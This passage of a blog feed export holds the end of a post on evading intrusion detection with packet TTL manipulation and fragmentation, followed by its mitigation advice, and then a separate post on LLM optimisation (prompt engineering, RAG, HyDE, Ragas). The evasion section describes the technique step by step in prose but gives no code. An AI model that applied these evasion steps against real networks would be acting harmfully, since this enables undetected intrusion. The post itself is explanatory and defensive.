carefully selected TTL values and identical sequence numbers, exploiting the way some security devices handle packet inspection and filtering.</p><p><strong>Initial Probing Packets</strong>: The threat actor sends a series of packets towards the target system with TTL values calibrated such that they expire right before reaching the target, yet after passing the IDS/IPS. These packets, designed to appear benign, prompt the IDS/IPS to log their sequences but ultimately discard them as they do not reach the destination due to TTL expiry.</p><p><strong>Follow-Up Malicious Packets</strong>: Subsequently, the attacker sends another set of packets with identical sequence numbers as the probing packets, but this time, containing a malicious payload. These packets are sent with TTL values that ensure they reach the target. The critical manipulation here lies in setting the TTL of the probing packets to expire just beyond the IDS/IPS, thus avoiding further inspection of the subsequent malicious packets.</p><p><strong>The IDS/IPS Deception</strong>: Many IDS/IPS configurations are optimised to reduce performance overhead, which includes minimising duplicate packet inspection. They might treat these follow-up packets as duplicates of the initial, already-checked sequence, thus not subjecting them to thorough scrutiny. Consequently, the packets carrying the malicious content bypass the IDS/IPS checks, reaching the target system unnoticed.</p><h2>Incorporating Fragmentation with TTL Manipulation</h2><p>Another method combines packet fragmentation with TTL manipulation to evade security controls. This technique leverages the fact that some security devices may not thoroughly inspect or reassemble fragmented packets.</p><p>By fragmenting malicious payloads and carefully setting the TTL values, attackers can craft packets that are less likely to be detected by traditional security mechanisms.</p><p>Fragmenting packets involves dividing the malicious payload into smaller fragments, making it more challenging for security devices to inspect packets and accurately identify and block harmful content.</p><p>Alongside fragmentation, the attacker manipulates the TTL values to ensure that the fragmented packets bypass the security devices with minimal scrutiny. The manipulated TTL values can help ensure that the fragments take a path through the network that avoids comprehensive inspection or takes advantage of devices that do not reassemble packets for inspection.</p><p>By carefully orchestrating the fragmentation and TTL settings, the attacker can potentially deliver the malicious payload past IDS, IPS, and firewalls. Once the fragments reach their target, they can be reassembled into the original malicious payload, executing the intended attack without being detected by the network&#8217;s security infrastructure.</p><h1>Mitigation and Real-world Application</h1><p>The effectiveness of these techniques in real-world scenarios can vary significantly. Modern Intrusion Detection and Prevention Systems are designed to mitigate such evasion tactics.</p><p>These systems often incorporate advanced algorithms and analysis of behaviour patterns to detect and counteract unusual TTL values and fragmented packet strategies.</p><p>To enhance network security against such TTL manipulation techniques, administrators can consider the following mitigation strategies:</p><ul><li><p><strong>Enhanced Packet Inspection</strong>: Configure IDS/IPS to perform in-depth packet inspections, including analysing fragmented packets and verifying packet integrity.</p></li><li><p><strong>Anomaly Detection</strong>: Implement anomaly-based detection systems that identify unusual traffic patterns, including atypical TTL values.</p></li><li><p><strong>Regular Updates and Patching</strong>: Keep security devices updated with the latest software patches and threat intelligence to defend against new and evolving tactics.</p></li><li><p><strong>Comprehensive Security Practices</strong>: Employ a multi-layered security approach that includes encryption, firewalls, and end-to-end monitoring to reduce reliance on any single point of failure.</p></li></ul><p>This advanced method illustrates the capacity for TTL manipulation in mapping network defences and its potential in crafting evasion strategies that exploit specific weaknesses in the security infrastructure&#8217;s logic and configuration.</p><h1>Conclusion</h1><p>Malicious TTL manipulation and packet fragmentation represent sophisticated evasion techniques that challenge traditional network security measures. Network administrators can better protect their infrastructure against these and other advanced threats by understanding and mitigating these tactics.</p>]]></content:encoded></item><item><title><![CDATA[Optimising LLM Performance]]></title><description><![CDATA[A discussion on a few techniques to maximise LLM performance.]]></description><link>https://www.emdeh.com/p/optimising-llm-performance</link><guid isPermaLink="false">https://www.emdeh.com/p/optimising-llm-performance</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Tue, 05 Mar 2024 21:36:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!XcF3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XcF3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XcF3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XcF3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp" width="1024" height="1024" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XcF3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!XcF3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88d5fe5b-cc50-4fc9-918f-21c89b041f08_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Contents</h1><ul><li><p><a href="https://emdeh.substack.com/i/145145161/a-framework-for-understanding-optimisation">A framework for understanding optimisation</a></p></li><li><p><a href="https://emdeh.substack.com/i/145145161/using-the-framework-for-maximising-model-performance">Using the framework for maximising model performance</a></p><ul><li><p><a href="https://emdeh.substack.com/i/145145161/start-with-prompt-engineering">Start with prompt engineering</a></p></li><li><p><a href="https://emdeh.substack.com/i/145145161/is-it-a-context-issue">Is it a context issue?</a></p></li><li><p><a href="https://emdeh.substack.com/i/145145161/is-it-an-actions-issue">Is it an actions issue?</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145145161/useful-resources">Useful resources</a></p></li></ul><h1>A Framework for understanding optimisation</h1><p>The recent developer conference hosted by OpenAI offered a deep dive into enhancing the capabilities of large language models (LLMs). The presenters, John and Colin, shared their insights on optimising LLMs. </p><p>You can watch the video <a href="https://youtu.be/ahnGLM-RC1Y?si=Y-Dfy5CPxGT79ZBQ">here</a> - I encourage you to do so!</p><p>Optimisation of base models can be a critical step on the path to Production. A base model may show promise in a specific application but may lack consistency in a desired behaviour or knowledge to warrant its deployment.</p><p>The optimisation approach will depend on which aspect of the model needs improvement. John and Colin from OpenAI propose two primary dimensions of optimisation. </p><div class="pullquote"><p>Is it the <strong>context</strong> that needs improvement&#8212;that is, what does the model <strong>need to know</strong>? Or is it <strong>the model itself</strong> that requires optimization&#8212;that is, how it <strong>needs to act</strong>?</p></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MMC5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MMC5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 424w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 848w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 1272w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MMC5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png" width="1000" height="633" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:633,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;graphic 1&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="graphic 1" title="graphic 1" srcset="https://substackcdn.com/image/fetch/$s_!MMC5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 424w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 848w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 1272w, https://substackcdn.com/image/fetch/$s_!MMC5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F419f0401-71dd-4da9-8d37-34b87ec65fd6_1000x633.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Graphic adapted from OpenAI&#8217;s presentation</em></p><p>For example, a base-model LLM will fail to generate a report on the most recent market trends because it doesn&#8217;t know them. Why? Because they were never present in its pre-trained knowledge. In cases like this, the model is said to need <em>context optimisation</em>.</p><p>Base models might not consistently follow instructions when the model is required to output particular formats or styles or requires multiple steps or complex reasoning. Some examples of these use cases are generating code from natural language or extracting structured data from unstructured text. In these cases, the <em>model itself requires optimisation</em>.</p><h1>Using the framework for maximising model performance</h1><p>Understanding model optimisation in this framework can help identify whether the issue is a context problem or an action problem. Once this is understood, appropriate techniques can be applied.</p><p>In the case of context optimisation, Retrieval Augmented Generation (RAG) is likely a good start. To optimise the LLM itself, consider fine-tuning.</p><p>Of course, in other cases, a combination of optimising how a model acts and what it knows will be required.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YJJC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YJJC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YJJC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png" width="1000" height="632" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:632,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;graphic 2&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="graphic 2" title="graphic 2" srcset="https://substackcdn.com/image/fetch/$s_!YJJC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!YJJC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63e5de11-f9b5-4a26-936b-fc619819c880_1000x632.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Graphic adapted from OpenAI&#8217;s presentation</em></p><div><hr></div><h1>Start with prompt engineering.</h1><p>In either case, prompt engineering is the best approach to start with, as it offers a quick way to test and learn what dimensions should be optimised and sets a baseline for further improvements.</p><p>This stage is as simple as starting with a prompt. Then, consider adding a few shot examples (for context issues) or employing a few shot learning (for acting issues). If this yields improvements, you&#8217;ll have a good baseline from which to iterate further.</p><h2>What are few-shot examples?</h2><p>Few-shot examples refer to the specific instances or data points that are used in the process of few-shot learning. These are the actual samples from which the model is expected to learn or generalise. In a practical sense, if you were providing a machine learning model with few-shot examples, you would give it a very limited number of examples per class from which it needs to learn.</p><h2>What is few-shot learning?</h2><p>On the other hand, few-shot learning is the broader concept or methodology that involves training a model to accurately make predictions or understand new concepts with only a few examples. Few-shot learning is particularly relevant when the goal is to develop models that can generalise well from limited data&#8212;something that is especially challenging and important when large datasets are not available or when trying to improve model adaptability and efficiency.</p><div><hr></div><h1>Is it a context issue?</h1><p>Prompt engineering alone is unlikely to be sufficient in more complex use cases, and it doesn&#8217;t scale well (remember, we want a Production-grade solution).</p><p>If prompt engineering has revealed a context issue, optimising with RAG is a logical next step. For an overview of RAG, see this article the following article (or <a href="https://youtu.be/ahnGLM-RC1Y?si=QKwCMVozmxdPsBcU&amp;t=712">skip to this part of the video</a>).</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;4fdb3dc0-d522-4761-8026-894f069b31af&quot;,&quot;caption&quot;:&quot;Introduction This project leverages a Retrieval Augmented Generation (RAG) implementation to create an intelligent question-answering system for a website. The project automates the collection of contextual data from the site, processes this data with an embeddings model to generate vector representations, and utilises these vectors to provide relevant a&#8230;&quot;,&quot;cta&quot;:null,&quot;showBylines&quot;:true,&quot;showDescription&quot;:true,&quot;showImage&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Using Retrieval Augmented Generation (RAG) for chatbots&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:239691080,&quot;name&quot;:&quot;emdeh&quot;,&quot;bio&quot;:&quot;/&#603;m di&#720; e&#618;t&#643;/&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf076eaf-1630-47e1-b7dd-6b1af2416b65_925x925.jpeg&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2024-02-16T09:21:00.000Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://emdeh.substack.com/p/using-retrieval-augmented-generation&quot;,&quot;section_name&quot;:&quot;Artificial Intelligence&quot;,&quot;video_upload_id&quot;:null,&quot;id&quot;:145121526,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:0,&quot;comment_count&quot;:0,&quot;publication_id&quot;:null,&quot;publication_name&quot;:&quot;emdeh&#8217;s Substack&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e3ab64a-692c-4b46-903b-f8cbe66d9aba_144x144.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><h2>Retrieval Augmented Generation (RAG)</h2><p>RAG is typically good for introducing new information to the model, updating its knowledge, and reducing hallucinations by controlling content. If done correctly, the model will act as if it is explicitly amnesic to everything it was trained on while still retaining its implicit intelligence. In other words, the only knowledge it explicitly has is what has been provided in the RAG implementation.</p><h3>Simple retrieval</h3><p>Adding a simple RAG retrieval will ground the model in the desired context source. Embeddings and cosine similarity algorithms can provide the model with access to a repository from which it can pull data, for example.</p><blockquote><p><em>Cosine similarity algorithms measure the cosine of the angle between two non-zero vectors in a multi-dimensional space, providing a metric for how similar these vectors are.</em></p></blockquote><h3>Other RAG options</h3><p>Other, more advanced RAG options include Hypothetical Document Embeddings(HyDE) (with a fact-checking step). HyDE is essentially a technique where, instead of using the question&#8217;s vector to search for answers with an embedding similarity, a HyDE implementation will employ contrastive methods, generate a &#8220;hypothetical&#8221; answer in response to the prompt, and use that &#8220;made-up&#8221; answer to search for context instead.</p><p>HyDE techniques can be helpful in cases where the model will receive questions that lack specificity or easily identifiable elements, making it difficult to derive an answer from the integrated context source.</p><p>HyDE won&#8217;t always yield good results. For example, if the question is about a topic that the LLM is unfamiliar with - such as some new concept that was not present in the pre-trained knowledge - then it will likely lead to an increase in inaccurate results and hallucinations. The reason is that if it doesn&#8217;t know anything about the topic, the hypothetical answer it created to retrieve context will have no basis in reality&#8230;a hallucination, in other words.</p><p>This is probably why OpenAI presented HyDE in the video with the <em>+ fact-checking step</em>!</p><h3>RAG evaluation</h3><p>It&#8217;s important to remember that adding RAG to a solution creates an entirely new set of challenges. As John points out in the video, LLMs already hallucinate on their own. If the context the model uses to ground its responses is fundamentally or systematically flawed, understanding whether the solution fails because of the RAG integration or an inherently hallucinatory trait within the model will be challenging. For this reason, evaluation frameworks are crucial.</p><p>The video mentions an open-source evaluation framework called <a href="https://github.com/explodinggradients/ragas">Ragas from Exploding Gradients</a>. Ragas measures four metrics: two evaluate how well the model answered the question (Generation), and two measure how relevant the content retrieved is to the question (Retrieval).</p><p>The Generation metrics are:</p><ul><li><p><em>Faithfulness</em> - a measure of how factually accurate the answer is.</p></li><li><p><em>Answer relevancy</em> - how relevant the generated answer is to what was asked.</p></li></ul><p>The Retrieval metrics are:</p><ul><li><p><em>Context precision</em> - The signal-to-noise ratio of retrieved context.</p></li><li><p><em>Context recall</em> - Can it retrieve all the relevant information required to answer the question?</p></li></ul><p>Context precision is particularly useful because providing RAG implementation with more chunks of data potentially containing relevant context doesn&#8217;t always work. John mentions a paper, <em><a href="https://cs.stanford.edu/~nfliu/papers/lost-in-the-middle.arxiv2023.pdf">Lost in the Middle: How Language Models Use Large Contexts</a></em>, which explains that the more content given, the more likely the model is to hallucinate because LLMs tend to &#8220;forget&#8221; the content in the middle of a chunk. Not surprisingly, this is reminiscent of the Serial Position Effect observed in human cognition, which is the tendency to remember the first and last items in a list better than those in the middle. This effect has been well-researched in psychological science and can form part of the basis for various cognitive biases.</p><p>On the other hand, context recall helps to understand the utility of the search mechanism. A common misconception with RAG implementations is that it will always find the proper context. But there is a fundamental constraint to remember: how many tokens can that context window accept. If it were possible to pass the entire context source to the LLM for each prompt, then context recall would never be an issue. But the computing power required for even a modest context source would make this unviable.</p><p>The missing piece to consider is that the prompt is parsed into some search function, and it is the search function that surfaces the (ostensibly) relevant context. It is this surfaced context that the LLM relies on. So, evaluating context recall will help identify if the search process is surfacing up the most relevant context. If not, the search function may need optimising, such as re-ranking or fine-tuning the embeddings.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MlhW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MlhW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 424w, https://substackcdn.com/image/fetch/$s_!MlhW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 848w, https://substackcdn.com/image/fetch/$s_!MlhW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 1272w, 